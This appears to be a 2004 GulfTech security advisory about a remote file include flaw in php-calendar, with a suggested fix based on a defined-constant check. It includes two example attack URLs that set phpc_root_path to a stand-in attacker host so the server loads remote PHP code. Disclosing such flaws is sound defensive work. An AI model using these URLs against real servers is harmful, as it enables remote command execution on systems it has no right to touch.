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File Include Vulnerability In php-Calendar
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December 29, 2004
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Description:
I was searching for a decent calendar which my group at school could
use to keep track of events, etc. We were previously using localendar,
which I didn't like and it had some problems. I found CST-Calendar which
did most of what I wanted, but was rather ugly and missed some features
others in the group wanted. So, I gradually re-wrote CST-Calendar since
that project seems to have stopped work entirely.
[ As quoted from their website ]
File Include Vulnerability:
There is a very dangerous file include vulnerability in php-calendar, and
making the issue even more dangerous is that I found out about php-calendar
from an individual who said that php-calendar is a great open source calendar
to use in php projects, and is fairly popular amongst open source php developers.
This may be true, but the vulnerabilities need to be fixed if the same conditions
apply as found in the original code. Below are example attack url's
http://path/includes/calendar.php?phpc_root_path=http://attacker/includes/html.php
http://path/includes/setup.php?phpc_root_path=http://attacker/includes/html.php
If php globals are set to on then it is highly probable that an attacker will be
able to include arbitrary php files and thus execute system commands with the
rights of the web server. This can be very dangerous in some situations.
Solution:
php-calendar has a defined constant to help prevent against stuff like this. It
can be seen in other php-calendar files such as db.php
if ( !defined('IN_PHPC') ) {
die("Hacking attempt");
}
Adding the following to the top of the affected pages should suffice in preventing
the kinds of attacks previously mentioned in this advisory.
Credits:
James Bercegay of the GulfTech Security Research Team
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